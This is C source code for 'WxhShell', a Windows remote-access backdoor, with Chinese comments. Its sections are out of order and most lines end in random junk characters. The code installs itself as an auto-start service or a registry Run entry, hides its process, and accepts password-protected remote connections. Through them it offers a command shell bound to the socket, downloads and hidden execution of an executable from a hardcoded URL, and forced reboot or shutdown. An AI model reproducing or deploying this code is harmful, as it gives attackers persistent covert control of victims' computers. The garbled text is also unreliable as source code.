    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j>x-"9N  
    if(Boot(SHUTDOWN)) _$f9]bab  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9C[ywp  
    else { U{z9>  
    closesocket(wsh); Y"Ql!5=  
    ExitThread(0); .k9{Yv0  
    } @,u/w4  
    break; rN<b?KE  
    } Z@&Dki  
  // 获取shell s#DaKPC  
  case 's': { {R61cD,n  
    CmdShell(wsh); [y)`k@  
    closesocket(wsh); A~ +S1  
    ExitThread(0); 4Hn`'+b  
    break; ;M#_6Hd?qD  
  } TJ'[--  
  // 退出 t|<NI+H(e  
  case 'x': { 9Xl5@%uz?z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z]WnG'3N  
    CloseIt(wsh); ^;maotHn  
    break; ,FMx5$  
    } t" 7yNs(I  
  // 离开 }kK[S|XVO  
  case 'q': { 199]WHc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f<*Js)k  
    closesocket(wsh); iNWo"=J  
    WSACleanup(); ^Q ps> A(  
    exit(1); b0A1hb[|  
    break; +sx 8t  
        } Vc%R$E%  
  } Ra/Ukv_v  
  } `S.ZS}~!F  
PN<C=gAe  
  // 提示信息 )d-.M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 80Y\|)  
} 6uKMCQ=h  
  } u#A<hq;  
=rQP[ICs!  
  return; ls`,EFF  
} ?@t  d  
 6XJ[h  
// shell模块句柄 z rv#Xa!O\  
int CmdShell(SOCKET sock) $DC*i-}qFg  
{ fr}Eaa-{^  
STARTUPINFO si; q@~L&{  
ZeroMemory(&si,sizeof(si)); l|+BC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s/e"'Hz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x]{E)d"!  
PROCESS_INFORMATION ProcessInfo; ror|R@;y  
char cmdline[]="cmd"; 5,;`$'?a%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^*= 85iyo  
  return 0; CBKkBuKuk  
} 0\~Z5k`IT  
8dOo Q  
// 自身启动模式 bo=ZM9  
int StartFromService(void) %tt%`0  
{ g3sUl&K  
typedef struct d ~_`M0+  
{ $hVYTy~}  
  DWORD ExitStatus; $W42vjr4  
  DWORD PebBaseAddress; lhYn5d)DV  
  DWORD AffinityMask; 7"*|2Xq  
  DWORD BasePriority; gbStAr.  
  ULONG UniqueProcessId; DtWwG C  
  ULONG InheritedFromUniqueProcessId; Xvok1NM,  
}   PROCESS_BASIC_INFORMATION; -g/hAxb5  
@l(vYJ:f  
PROCNTQSIP NtQueryInformationProcess; =}fd6ea(o  
6V+ qnUk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; daAyx-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wVA|!>v  
DrvtH+e  
  HANDLE             hProcess; >(tn"2  
  PROCESS_BASIC_INFORMATION pbi; aSYs_?&.  
0ZPV' `KGp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \hP=-J[~C  
  if(NULL == hInst ) return 0; kK~IwA  
QI[}(O7#6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1GE|Wd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L1)@z8]   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x q-$\#O  
=FBpo2^QB;  
  if (!NtQueryInformationProcess) return 0; &yz&LNn'  
i"^<CR@e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Px'!;  
  if(!hProcess) return 0; F X1ZG!  
snp v z1iS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qq0?e0H  
9<]a!:!^  
  CloseHandle(hProcess); Cw,D{  
w3D]~&]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !m{2WW-  
if(hProcess==NULL) return 0; K,}w]b  
[H"#7t.V-~  
HMODULE hMod; H.J5i~s  
char procName[255]; {lzG*4?  
unsigned long cbNeeded; *R`MMm  
_b4fS'[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f!-Sz/c#  
U06o ;s(  
  CloseHandle(hProcess); XqR{.jF.  
#DP7SO  
if(strstr(procName,"services")) return 1; // 以服务启动 GZ0aOpUWVq  
 td(M#a-  
  return 0; // 注册表启动 o;-<|W>  
} C'9 1d7E  
Wc#:f 8dr  
// 主模块 H^CilwD158  
int StartWxhshell(LPSTR lpCmdLine) %f[Ep 3D  
{ LnMwx#^*  
  SOCKET wsl; VVrwOo CN  
BOOL val=TRUE; I Ru$oF}  
  int port=0; `f'C[a"  
  struct sockaddr_in door; j=.g :&r)  
It 2UfW  
  if(wscfg.ws_autoins) Install(); 5urE  
dB|Te"6  
port=atoi(lpCmdLine); r2G*!qK*1  
gB CC  
if(port<=0) port=wscfg.ws_port; U \Dca&=  
;x>;jS.t  
  WSADATA data; y=o=1(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Io+IRK  
6dT|;koWbm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cy:;)E>/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j3 P RAe  
  door.sin_family = AF_INET; *t =i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BpXEK.Xw  
  door.sin_port = htons(port); mW$ot.I  
lgG8!Ja  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `p"U  
closesocket(wsl); t+}uIp42<  
return 1; <jL#>L%%  
} iy 3DX|]  
x[m'FsR4  
  if(listen(wsl,2) == INVALID_SOCKET) { M-91 JOt~  
closesocket(wsl); fle0c^=  
return 1; :Ba-u  
} )n7)}xy#z  
  Wxhshell(wsl); HU3Vv<lz  
  WSACleanup(); |7S:l9;  
c20|Cx2m  
return 0; ?HxS)Pqq  
xucIjPi]  
} s#Q _Gu  
wG6FS  
// 以NT服务方式启动 }Ch[|D=Wd6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,yi2O]5e>!  
{ NQ3|\<Wt  
DWORD   status = 0; .??rqaZ=  
  DWORD   specificError = 0xfffffff; - coy@S=.'  
$U mE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p d%LL?O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HU.1":.;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wO\!xW:  
  serviceStatus.dwWin32ExitCode     = 0; <wqRk<  
  serviceStatus.dwServiceSpecificExitCode = 0;  XDvq7ZD  
  serviceStatus.dwCheckPoint       = 0; 8I {56$  
  serviceStatus.dwWaitHint       = 0; $ACe\R/%  
<W9) Bq4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I]UA0[8X  
  if (hServiceStatusHandle==0) return; zrTY1Asw;4  
:=B[y D!  
status = GetLastError(); yL4 -4  
  if (status!=NO_ERROR) A9.;>8!u  
{ K;kLQ2)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; | )S{(#k  
    serviceStatus.dwCheckPoint       = 0; n+S&!PB  
    serviceStatus.dwWaitHint       = 0; 3# :EK M~!  
    serviceStatus.dwWin32ExitCode     = status; ^$?7H>=_ha  
    serviceStatus.dwServiceSpecificExitCode = specificError; o|BFvhg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r8H7TJI0   
    return; I[a%a!QO  
  } {K6Kx36  
|4LQ\'N&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L)=8mF.  
  serviceStatus.dwCheckPoint       = 0; O\:;q*]  
  serviceStatus.dwWaitHint       = 0; `,Q<YT ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S@;&U1@h  
} 1_XO3P\  
P|yGx)'^P  
// 处理NT服务事件,比如:启动、停止 MH2OqiCI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HK=CP0H  
{ re2Fv:4{  
switch(fdwControl) Zt7hzW  
{ 8p3ZF@c~ t  
case SERVICE_CONTROL_STOP: >zN" z)  
  serviceStatus.dwWin32ExitCode = 0; X~`.}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /,-h%gj  
  serviceStatus.dwCheckPoint   = 0; MJpP!a^Q  
  serviceStatus.dwWaitHint     = 0; 2"B}}  
  { $&c<T4$d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P((S2"D<4  
  } A;b=E[i v  
  return; )+VHt  
case SERVICE_CONTROL_PAUSE: U`HXsq p}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {.0X[uAf  
  break; *tIdp`xT/T  
case SERVICE_CONTROL_CONTINUE: BvNl?A@]A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^/ULh,w!fP  
  break; M^!C?(Hx^x  
case SERVICE_CONTROL_INTERROGATE: m&(%&}g  
  break; I 0x`H)DA  
}; 00$ @0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u-]vK  
} "P>$=X~Zi  
p =#'B*'w  
// 标准应用程序主函数 7<Z~\3x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v3=&{}+j.  
{ nph7&[xQI  
|*/uN~[  
// 获取操作系统版本 H-nFsJ(R!c  
OsIsNt=GetOsVer(); mgJ]@s}9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "\wDS2M)  
2^k^"<h5j  
  // 从命令行安装 Q6e'0EIKC  
  if(strpbrk(lpCmdLine,"iI")) Install(); oho AUT  
ZQgxrZx3  
  // 下载执行文件 o`JlXuG?o  
if(wscfg.ws_downexe) { >b/k|?xP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ ~0G$  
  WinExec(wscfg.ws_filenam,SW_HIDE); \ (3Qqbw  
} 62k9"xSH  
*_<SWTE  
if(!OsIsNt) { dvrvpDoE.  
// 如果时win9x,隐藏进程并且设置为注册表启动 71}L# nQ  
HideProc(); %nG~u,_2f  
StartWxhshell(lpCmdLine); @[[C s*-  
} TA-(_jm  
else 7><* 9iOW  
  if(StartFromService()) Ot4;,UZ  
  // 以服务方式启动 hr$VVbOho  
  StartServiceCtrlDispatcher(DispatchTable); wj";hAw  
else +lk\oj$S+  
  // 普通方式启动 t2!$IHE:  
  StartWxhshell(lpCmdLine); gpO_0U4lQ]  
ozxK?AMgG  
return 0; NL>[8#  
} X,C/x)  
GFy0R"&d[  
(dGM;Dq8  
MU^xu&MB  
=========================================== R fVV(X  
#4|i@0n}D  
jP6oJcZ  
3gfV0C\  
x:&L?eOT  
NIXcib"tG  
" a_}BTkfHa  
*9U4^lJjn  
#include <stdio.h> IZ(CRKCGBl  
#include <string.h> b`={s  
#include <windows.h> QVZ6;/  
#include <winsock2.h> /9vMGef@  
#include <winsvc.h> "n2xn%t{  
#include <urlmon.h> #uRq] 'P  
LF3GVu,  
#pragma comment (lib, "Ws2_32.lib") -T>wi J  
#pragma comment (lib, "urlmon.lib") |Bf:pG!  
Stp*JU  
#define MAX_USER   100 // 最大客户端连接数 <=GzK:4L  
#define BUF_SOCK   200 // sock buffer '%|20 j  
#define KEY_BUFF   255 // 输入 buffer tRrY)eElS  
l4BO@   
#define REBOOT     0   // 重启 6w`}+3  
#define SHUTDOWN   1   // 关机 LZAj4|~,m  
~ dI&> CL  
#define DEF_PORT   5000 // 监听端口 7.1E mJ  
owS@dbO  
#define REG_LEN     16   // 注册表键长度 k;Ny%%5  
#define SVC_LEN     80   // NT服务名长度 AB|VO4-?  
VA&OI;=ri  
// 从dll定义API @W5hrei  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3x;y}:wQa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zZjLt1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lO[jf6gB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *t-A6)2  
g(}8n bTA  
// wxhshell配置信息 ug3lMN4UX  
struct WSCFG { W/F4wEODY  
  int ws_port;         // 监听端口 %JH_Nw.P  
  char ws_passstr[REG_LEN]; // 口令 p(&o'{fb  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]TZWFL-  
  char ws_regname[REG_LEN]; // 注册表键名 <}'B-k9  
  char ws_svcname[REG_LEN]; // 服务名 ~9'4w-Sy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :g:h 0'G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1?#p !;&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b)`#^uxxJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vz_g2.7l\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IqJ=\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~ z&A  
v+_Y72h*a  
}; 58ZiCvqv  
U:p"IY#%  
// default Wxhshell configuration <|.! Px86  
struct WSCFG wscfg={DEF_PORT, )tQ6rd'  
    "xuhuanlingzhe", {-]HYk  
    1, fy-Z{  
    "Wxhshell", ex!w Y  
    "Wxhshell", _*B~ESC0  
            "WxhShell Service", `} Zbfe~  
    "Wrsky Windows CmdShell Service",  p:>?  
    "Please Input Your Password: ", K[yJu 4  
  1, 4O"kOEkKT>  
  "http://www.wrsky.com/wxhshell.exe", _N#3lU?  
  "Wxhshell.exe" W ]MJ!4  
    }; 0guc00IN  
_<}5[(qu  
// 消息定义模块 w*kFtNBfU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !w\;Q8irN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W$&Ets8zo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hg/&[/eodm  
char *msg_ws_ext="\n\rExit."; 8VGXw;(Y,d  
char *msg_ws_end="\n\rQuit."; .-6s`C2 Y}  
char *msg_ws_boot="\n\rReboot..."; l0 :xQV`  
char *msg_ws_poff="\n\rShutdown..."; wyEgm:Vt  
char *msg_ws_down="\n\rSave to "; A;HKR4p;8  
CKw)J}z  
char *msg_ws_err="\n\rErr!"; QjbPBk Q  
char *msg_ws_ok="\n\rOK!"; _ShJ3\,K  
^`5Yxpz  
char ExeFile[MAX_PATH]; RWcQT`  
int nUser = 0; d"a7{~l  
HANDLE handles[MAX_USER]; W/X;|m`  
int OsIsNt; : 2d9ZDyD  
~}ZX^l&k{P  
SERVICE_STATUS       serviceStatus; +ANIm^@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~i#xjD5  
-T6%3>h  
// 函数声明 =qQQ^`^F'~  
int Install(void); ~m&oa@*=y  
int Uninstall(void); f TtMmz  
int DownloadFile(char *sURL, SOCKET wsh); .]l2)OlLQ  
int Boot(int flag); WX"M_=lc-@  
void HideProc(void); ?q&mI*j!  
int GetOsVer(void); yKhzymS}T  
int Wxhshell(SOCKET wsl); ;$;/#8`>  
void TalkWithClient(void *cs); pD/S\E0@t  
int CmdShell(SOCKET sock); Qt39H@c|z~  
int StartFromService(void); haK5Oe/cE  
int StartWxhshell(LPSTR lpCmdLine); tqC#_[~7  
\./2Qc,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d7gSkna`5c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m <ruFxY  
h /Nt92  
// 数据结构和表定义 !A0bbJ  
SERVICE_TABLE_ENTRY DispatchTable[] = 8RD)yRJ  
{ 7!)%%K.z6  
{wscfg.ws_svcname, NTServiceMain}, s``L?9  
{NULL, NULL} :UciFIa  
}; cv1L!Ce,  
:]jtV~E\  
// 自我安装 UGgi)  
int Install(void) =Ji:nEl]z  
{ ?J-KB3Uv3  
  char svExeFile[MAX_PATH]; xb>+~59:  
  HKEY key; = 0Sa  
  strcpy(svExeFile,ExeFile); z<*]h^ !3  
[%Xfl7;Wh  
// 如果是win9x系统,修改注册表设为自启动 fXj  
if(!OsIsNt) { ?Fv(4g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c5pG?jr+d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .m51/X&*n  
  RegCloseKey(key); OwUbm0)h^V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AR^Di`n!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %4J?xhd  
  RegCloseKey(key); ^u{$$.&  
  return 0; _aYQ(FO  
    } "Q4{6FH+mB  
  } [j39A`t7 o  
} } d6^  
else { LLiX%XOh  
i9tM]/SP  
// 如果是NT以上系统,安装为系统服务 (z{xd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f0+  
if (schSCManager!=0) 9:s!#FYFM  
{ ?Fu.,srt  
  SC_HANDLE schService = CreateService 3E-&8x7uYR  
  ( 8pk">"#s  
  schSCManager, Jjv&@a}  
  wscfg.ws_svcname, x`&W[AA4  
  wscfg.ws_svcdisp, _45"Z}Zx  
  SERVICE_ALL_ACCESS, aL}_j#m{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mMH0 o  
  SERVICE_AUTO_START, 4<|]k?@  
  SERVICE_ERROR_NORMAL, d|3[MnU[a  
  svExeFile, A\>qoR!Y  
  NULL, gO%3~f!vY#  
  NULL, /<~IKVz\&  
  NULL, T28#?Lp6]  
  NULL, Zh*I0m   
  NULL KC'{>rt7  
  ); = 4L.  
  if (schService!=0) IV76#jL  
  { t [f]  
  CloseServiceHandle(schService); O#g31?TO  
  CloseServiceHandle(schSCManager); XQ>m8K?\d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } 2KuY\5\i  
  strcat(svExeFile,wscfg.ws_svcname); p6p_B   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BZ.H6r'Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,b{4GU$3  
  RegCloseKey(key); ZC"p^~U_e[  
  return 0; uP.3(n[&  
    } x\WKsc  
  } .3#Tw'% G  
  CloseServiceHandle(schSCManager); 70@:!HI]  
} >U z3F7nHi  
} p)`JVq,H/B  
G"]'`2.m  
return 1; WukD|BCC  
} _:J! |'  
_ . _'\  
// 自我卸载 K\#+;\V  
int Uninstall(void) xpae0vw  
{ d}1R<Q;F  
  HKEY key; ;TYkJH"  
K=V)"v5o3  
if(!OsIsNt) { -O\`G<s%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +NQw ^!0qy  
  RegDeleteValue(key,wscfg.ws_regname); C.eZcNJG  
  RegCloseKey(key); BO^e.iB/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k7?(I U  
  RegDeleteValue(key,wscfg.ws_regname); ` 6PdMvF  
  RegCloseKey(key); 3/iGSG`  
  return 0; ^vUdf.n9  
  } I/c* ?  
} >354O6  
} Y:O%xtGi  
else { BQsy)H`4E  
b1-JnEc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1Ypru<.)W  
if (schSCManager!=0) 6u7>S?  
{ mAz':R[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ."dmL=  
  if (schService!=0) vNP,c]:%  
  { k z<We/  
  if(DeleteService(schService)!=0) { ,`K'qms  
  CloseServiceHandle(schService); bV}43zI.  
  CloseServiceHandle(schSCManager); L0}"H .  
  return 0; wJip{  
  } z"|^Y|`m  
  CloseServiceHandle(schService); +PjH2  
  } m8.sHw  
  CloseServiceHandle(schSCManager); 0EOpK%{  
} t68h$u  
} aB.`'d)V  
~b*f2UVs  
return 1; ]*?qaIdqu  
} A#*0mJ8IK  
1qtu,yIf  
// 从指定url下载文件 \xwE4K  
int DownloadFile(char *sURL, SOCKET wsh) *:wu{3g}M`  
{ {2A/@$?  
  HRESULT hr; s/8>(-H#  
char seps[]= "/"; jT%k{"+>+?  
char *token; 1s .Ose  
char *file; ^8-CUH\  
char myURL[MAX_PATH]; b k 30d  
char myFILE[MAX_PATH]; p\1-.  
QOMh"wC3  
strcpy(myURL,sURL); !>TH#sU$  
  token=strtok(myURL,seps); 1t6VS 3  
  while(token!=NULL) m z) O  
  { <GT&q <4w  
    file=token; _Uc le  
  token=strtok(NULL,seps); W&qE_r  
  } Nw* >$v  
yc?+L ;fN  
GetCurrentDirectory(MAX_PATH,myFILE); X2v|O3>/N  
strcat(myFILE, "\\"); q3n(Z  
strcat(myFILE, file); 30bScW<08  
  send(wsh,myFILE,strlen(myFILE),0); ?*){%eE  
send(wsh,"...",3,0); 4vQ]7`I.f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lku}I4  
  if(hr==S_OK) T_i]y4dg  
return 0; 2Ck'A0d  
else '#L.w6<B  
return 1; $n.oY5=\  
v!JQ;OX  
} 8bd&XieE  
 E|P  
// 系统电源模块 S3l$\X;6X  
int Boot(int flag) 4Hc+F(  
{ D-J G0.@  
  HANDLE hToken; (pJ-_w' G  
  TOKEN_PRIVILEGES tkp; QpbyC_:;$4  
_Z'[-rcXWh  
  if(OsIsNt) { PZ06 _  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V~([{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,e<(8@BBL  
    tkp.PrivilegeCount = 1; I:?1(.kd2-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w_4/::K*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I@ "%iYL  
if(flag==REBOOT) { [Vzp D 4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C{^U^>bU  
  return 0; rXgU*3 RG  
} csABfxib  
else { X} <p|P+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a$-:F$z  
  return 0; /a@gE^TM  
} Qv4g#jX{  
  } 2vbm=~)$F  
  else { !A@Ft}FB  
if(flag==REBOOT) { walQo^<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JWzN 'a R  
  return 0; Teo&V  
} `q":i>FP2  
else { NWx.l8G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) />FgDIO  
  return 0; KPW2e2{4@  
} u^5X@ .  
} 5^:N]Mp"  
n^kszIu~  
return 1; /8](M5X]f  
} Wg\`!T  
\l$gcFXb  
// win9x进程隐藏模块 WJ D1U?`  
void HideProc(void) 1"7Rs}l7  
{ 'Ll,HgU;  
$;@L PE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %UV'HcO/gp  
  if ( hKernel != NULL ) Y5rR  
  { E}&Z=+v}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7=V s1TVc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YTWlR]Tr6?  
    FreeLibrary(hKernel); z^xrB$8 u  
  } mI;#Zq_j  
Gn+3OI"  
return; KB3zQJY  
} |gl~wG1@  
"otks\I<  
// 获取操作系统版本 r&qF v)0!`  
int GetOsVer(void) IYb%f T  
{ d`M]>EDXp  
  OSVERSIONINFO winfo; P8Nzz(JF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y}TiN!M  
  GetVersionEx(&winfo); `F)Q=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g8I=s7cnb  
  return 1; z@\r V@W5  
  else >=<qAkk  
  return 0; yW3X<  
} DBUhqRfl  
aqa%B  
// 客户端句柄模块 ]yzqBbV  
int Wxhshell(SOCKET wsl) 5)%bnLxn  
{ q '6gj  
  SOCKET wsh; zP[_ccW@  
  struct sockaddr_in client; z% ln}  
  DWORD myID; ?B&Z x-krd  
=x8F!W}Bt<  
  while(nUser<MAX_USER) H*SEzVb  
{ t")+ L{  
  int nSize=sizeof(client); %j '_I\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hJ)>BeH0  
  if(wsh==INVALID_SOCKET) return 1; #1>DV@^F  
#Kr\"o1]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m5m'ByX(*  
if(handles[nUser]==0) ~S5wfx&  
  closesocket(wsh); &3jq'@6  
else v^Vr^!3  
  nUser++; d@ +}_R"c  
  } ;=&D_jGf]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O{0TS^  
"K.XoG4|  
  return 0; 95`Q=I|i  
} ]e*Zx;6oi  
QQQ3U  
// 关闭 socket [# X:!xcl  
void CloseIt(SOCKET wsh) {i:5XL   
{ %SWtE5HZQq  
closesocket(wsh); KJ7[DN'(  
nUser--; 1x\Vz\  
ExitThread(0); rZ.,\ X_  
} R"j6 w[tn  
yMdAe>@  
// 客户端请求句柄 `5y+3v~"  
void TalkWithClient(void *cs) {l/]+8G^  
{ 5&&6e`  
@,b:s+]rp  
  SOCKET wsh=(SOCKET)cs; %?o@YwBo^E  
  char pwd[SVC_LEN]; ) h*)_7  
  char cmd[KEY_BUFF]; Fv[. %tW  
char chr[1]; c"vF i~Db  
int i,j; |sM#nhxK  
(-V=&F_  
  while (nUser < MAX_USER) { =Mg/m'QI  
? J;*  
if(wscfg.ws_passstr) { b!>w4MPe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c0lVt)pr/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fz)i9D@  
  //ZeroMemory(pwd,KEY_BUFF); k+(UpO=/*  
      i=0; =:fFu,+{  
  while(i<SVC_LEN) { P #_8$#G3  
c$<7&{Pb  
  // 设置超时 %h "+J  
  fd_set FdRead; FZ!KZ!p  
  struct timeval TimeOut; T>"GH M  
  FD_ZERO(&FdRead); C:$12{I?*  
  FD_SET(wsh,&FdRead); <K8$00lm  
  TimeOut.tv_sec=8; !P Cw-&  
  TimeOut.tv_usec=0; ?}QHEk:H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $N7:;X"l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |+?ABPk"  
-0KQR{LI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C*e) UPK`  
  pwd=chr[0]; !Ua74C  
  if(chr[0]==0xd || chr[0]==0xa) { x;RjLI4h  
  pwd=0; <h_lc}o/  
  break; vXUrS+~x  
  } X#s:C=q1  
  i++; yFt'<{z[nL  
    } m6qmZ2<  
&Wj %`T{  
  // 如果是非法用户,关闭 socket |TOz{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /2,s-^  
} i!/V wGg  
'ADaz75`*r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `jR= X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U=<E,tM  
PVAs# ~  
while(1) { =2VM(GtK>  
[CH%(#>i~  
  ZeroMemory(cmd,KEY_BUFF); \ H#zRSbZ  
>w:px$g4  
      // 自动支持客户端 telnet标准   T-=sC=sS,  
  j=0; 2?LZW14$d  
  while(j<KEY_BUFF) { Y(WX`\M97  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dQ*3s>B[  
  cmd[j]=chr[0]; w.qpV]9>  
  if(chr[0]==0xa || chr[0]==0xd) { ;9,<&fe  
  cmd[j]=0; +p =n-  
  break; ]R^?Pa1Te4  
  } uS3 s  
  j++; Rv=(D^F,  
    } *Yk3y-   
CT6Ca,  
  // 下载文件 JLT ^0wBB  
  if(strstr(cmd,"http://")) { i(q%EMf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #vJDb |z  
  if(DownloadFile(cmd,wsh)) "Vp+e%cqG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PTe8,cD>  
  else clQN@1] M  
